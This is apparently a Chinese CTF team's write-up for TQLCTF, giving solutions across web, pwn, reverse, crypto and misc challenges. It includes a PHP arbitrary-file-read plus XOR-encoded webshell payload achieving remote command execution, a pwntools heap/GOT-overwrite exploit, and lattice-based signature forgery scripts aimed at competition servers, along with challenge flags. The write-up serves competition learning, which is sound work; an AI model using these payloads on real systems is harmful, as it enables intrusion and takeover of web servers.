TQLCTF V&N战队 WriteUp

忙里偷闲组织了一下TQLCTF,最后打到了总榜十三名,感觉成绩还可以,师傅们都挺给力的hhhhh

Web

Simple PHP

/get_pic.php?image=img/haokangde.png

任意文件读取,尝试读一下sandbox/098f6bcd4621d373cade4e832627b4fdddddd6.php
查看源代码可以看到data协议后的base64编码,解码得到源码,除去HTML代码,只有一段PHP代码:

<?php
    error_reporting(0);
    $user = ((string)test);
    $pass = ((string)zsf098f6bcd4621d373cade4e832627b4f6);
            
    if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
        echo($_COOKIE['user']);
    }else{
        die("<script>alert('Permission denied!');</script>");
    }
?>        

感觉没啥用,继续读一下get_pic.php:

<?php
error_reporting(0);
$image = (string)$_GET['image'];
echo '<div class="img"> <img src="data:image/png;base64,' . base64_encode(file_get_contents($image)) . '" /> </div>';
?>

index.php:

<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
    $hash_user = md5($_POST['user']);
    $hash_pass = 'zsf'.md5($_POST['pass']);
    if(isset($_POST['punctuation'])){
        //filter
        if (strlen($_POST['user']) > 6){
            echo("<script>alert('Username is too long!');</script>");
        }
        elseif(strlen($_POST['website']) > 25){
            echo("<script>alert('Website is too long!');</script>");
        }
        elseif(strlen($_POST['punctuation']) > 1000){
            echo("<script>alert('Punctuation is too long!');</script>");
        }
        else{
            if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
                if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
                    $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
                    $template = file_get_contents('./template.html');
                    $content = str_replace("__USER__", $_POST['user'], $template);
                    $content = str_replace("__PASS__", $hash_pass, $content);
                    $content = str_replace("__WEBSITE__", $_POST['website'], $content);
                    $content = str_replace("__PUNC__", $_POST['punctuation'], $content);
                    file_put_contents('sandbox/'.$hash_user.'.php', $content);
                    echo("<script>alert('Successed!');</script>");
                }
                else{
                    echo("<script>alert('Invalid chars in website!');</script>");
                }
            }
            else{
                echo("<script>alert('Invalid chars in username!');</script>");
            }
        }
    }
    else{
        setcookie("user", $_POST['user'], time()+3600);
        setcookie("pass", $hash_pass, time()+3600);
        Header("Location:sandbox/$hash_user.php");
    }
}
?>
//HTML代码省略

注意这段代码:

file_put_contents('sandbox/'.$hash_user.'.php', $content);

可以写入php文件,并且内容是部分可控的,再看看内容的Check:

if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
    if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
        $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
        $template = file_get_contents('./template.html');
        $content = str_replace("__USER__", $_POST['user'], $template);
        $content = str_replace("__PASS__", $hash_pass, $content);
        $content = str_replace("__WEBSITE__", $_POST['website'], $content);
        $content = str_replace("__PUNC__", $_POST['punctuation'], $content);
        file_put_contents('sandbox/'.$hash_user.'.php', $content);

分析一下:

  1. PASS$hash_pass是md5加密过的,不可控
  2. USER$_POST['user'] 要求 preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0 并且长度小于7
  3. WEBSITE$_POST['website'] 要求 preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0 并且长度小于26
  4. PUNC$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation'])并且长度不超过1000
    因此没办法直接构造PHP的开始标签,那就想办法在执行PHP代码的时候不结束就行了。

可以把__USER__设置为

1/*

然后在__PUNC__处

*/);---CODE---;/*

这样整个文件就变成了下面的样子:

<?php
  error_reporting(0);
  $user = ((string)0/*被注释掉的代码*/);---CODE---;/*被注释掉的HTML代码

然后再用异或构造出一个无字母数字Shell就可以RCE了,最终payload:

USER: 0/*
PUNC: */);$_='("((%-'^"[[[\@@";$__ = "!+/(("^"~{`{|";$___ = $$__;$_($___['!']);/*

这里异或出了一个system($_POST['!'])
就可以RCE,cat一下得到flag:

图片

Pwn

ubbelievable_write

打tcache结构体,改free的got表为puts的,这样free之后就不会触发检查了,然后随便打

from pwn import *
p = process("./pwn")
#context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
#p = remote("119.23.255.127",28005)

def backdoor():
    p.sendlineafter("> ","3")

def add(size,content):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.sendline(str(size))
    p.sendline(content)

def free(position):
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.sendline(str(position))



def g():
    global p
    gdb.attach(p)
    input()



free(-656)
add(0x280,b'\x00'*0x10+b'\x01'+b'\x00'*0x6f+p64(0)*8+p64(0x404018))





add(0x90,p64(0x401050))

add(0x280,b'\x00'*0x10+b'\x01'+b'\x00'*0x6f+p64(0)*8+p64(0x404080))
add(0x90,"eeee")

backdoor()





p.interactive()

Re

Tales of the Arrow

已知:括号内17位,于是每个字符的最高位为0,于是知道(17 / 136)

已知:一次循环两个为真或假 一个为必真(位为0为负,位为1为正)

检索每个循环

只有得知一 次循环两个为假 -> 确定一个数据必为真

根据ascii码第一位是0,尝试了一下,发现可以直接推出来全部

data=[]#数据粘上来会卡死,请使用文件读写
bits=[0 for i in range(136)]
vis=[False for i in range(136)]
for i in range(136):
    if i%8==0:
        bits[i]=0
        vis[i]=True
f=[]
for i in range(5000):
    f.append([])
    for j in range(3):
        x=abs(data[i*3+j])-1
        if x%8==0 and data[i*3+j]>0:
            continue
        f[i].append(data[i*3+j])
    if len(f[i])==0:
        print(i,[data[i*3],data[i*3+1],data[i*3+2]])
    if len (f[i])==1:
        bits[abs(f[i][0])-1]=1 if f[i][0]>0 else 0
        vis[abs(f[i][0])-1]=True
flag=True
while(flag):
    flag=False
    for i in range(5000):
        for j in f[i]:
            x=abs(j)-1
            if vis[x]:
                if j>0 and bits[x]==0:
                    f[i].remove(j)
                elif j<0 and bits[x]==1:
                    f[i].remove(j)
        if len(f[i])==0:
            print('Wrong')
        if len(f[i])==1:
            bits[abs(f[i][0])-1]=1 if f[i][0]>0 else 0
            if not vis[abs(f[i][0])-1]:
                flag=True
            vis[abs(f[i][0])-1]=True
flag=''
for i in range(17):
    x=0
    for j in range(8):
        if not vis[i*8+j]:
            print('wrong')
        x=x*2+bits[i*8+j]
    flag+=chr(x)
print(flag)

GetFlag!

图片

Crypto

Signature

直接规约pk就能当sk... 不过得调调

from sage.all import *
pk = load('pk.sobj')
sk = pk.BKZ(block_size = 16)

print("DOWN")
from pwn import *
from Crypto.Util.number import *
from hashlib import sha256
import string
from scheme import *
from pwnlib.util.iters import mbruteforce

def dpow(io):
    io.recvuntil(b"sha256(****")
    suffix = io.recv(28).decode()
    io.recvuntil(b' == ')
    cipher = io.recv(64).strip().decode()
    proof = mbruteforce(lambda x: sha256(( x + suffix  ).encode()).hexdigest() == (cipher)
                        , table, length=4, method='fixed')
    io.sendline( proof) 

table = string.ascii_letters+string.digits
context.log_level = 'debug'
io = remote("120.79.167.178",23617) 
dpow(io)
io.recvuntil(b"Please sign the following message to authenticate:\n")
s = io.recv(32).decode()
e = hash_and_sign(sk,s)

tmp_e = ''
for i in e:
    tmp_e = tmp_e + str(i) + " "

io.sendline(tmp_e[:-1].encode())
io.interactive()

Misc

签到题

图片

Wizard

爆破出来的

from pwn import *
from Crypto.Util.number import *
from hashlib import sha256
from pwnlib.util.iters import mbruteforce
import string
table = string.ascii_letters+string.digits
context.log_level = "debug"
def proof_of_work(p):
    p.recvuntil(b"with ")
    suffix = "TQLCTF"
    cipher = p.recv(5).strip().decode("utf8")
    p.recv()
    proof = mbruteforce(lambda x: sha256((suffix + x).encode()).hexdigest().startswith(cipher), table, length=10, method='fixed')
    p.sendline(proof)  

HOST = "120.79.12.160"
PORT = 22096
while True :
    p = remote(HOST,PORT)
    proof_of_work(p)
    p.recv()
    p.sendline("G 288")
    info = p.recv()
    if info[8:13] == b"wrong":
        print(info)
        continue
    else :
        break
print(info)

图片

Ranma½

vim查看可以发现应该是一段维吉尼亚密文:

图片

复制下来然后丢到https://www.guballa.de/vigenere-solver爆破一下得到Flag:

ISO/IEC 10646-1 defines a large character set called the Universal Character Set (UCS) which encompasses most of the world's writing systems.  The originally proposed encodings of the UCS, however, were not compatible with many current applications and protocols, and this has led to the development of UTF-8, the object of this memo. UTF-8 has the characteristic of preserving the full US-ASCII range, providing compatibility with file systems, parsers and other software that rely on US-ASCII values but are transparent to other values. TQLCTF{CODIN6_WOR1D}

the Ohio State University

.osz文件改成.zip解压,查看封面图片的exif信息看到一个密钥:

root@VM-0-8-ubuntu:~# exif 200813_HEXADIVER.jpg
EXIF tags in '200813_HEXADIVER.jpg' ('Motorola' byte order):
--------------------+----------------------------------------------
Tag                 |Value
--------------------+----------------------------------------------
XP Comment          |pwd: VVelcome!!
Padding             |2060 bytes undefined data
X-Resolution        |72
Y-Resolution        |72
Resolution Unit     |Inch
Padding             |2060 bytes undefined data
Exif Version        |Exif Version 2.1
FlashPixVersion     |FlashPix Version 1.0
Color Space         |Internal error (unknown value 65535)
--------------------+-----------------------------------------------

然后用steghide来提取封面图片的信息,可以得到一部分flag:

 steghide extract -sf 200813_HEXADIVER.jpg -p VVelcome\!\!

得到 TQLCTF{VVElcOM3
注意文件修改时间

图片

找到wav隐写密码

图片

silenteye解出一段flag

图片

由于osz可能是beatmap,考虑最后一步flag隐写在beat中,经过比较在vivid难度中题目相较原文件修改了后面的一部分

注意到游戏里过分工整的beat加上beyondcompare的显示结果,说明flag藏在最后的beat中

图片图片

一个note作1,否则为0得到字符组,from binary解密

图片

TQLCTF{VVElcOM3_TO_O$u_i7s_5HoWtIme}

问卷调查

posted @ 2022-02-22 00:30  Ye'sBlog  阅读(699)  评论(0编辑  收藏  举报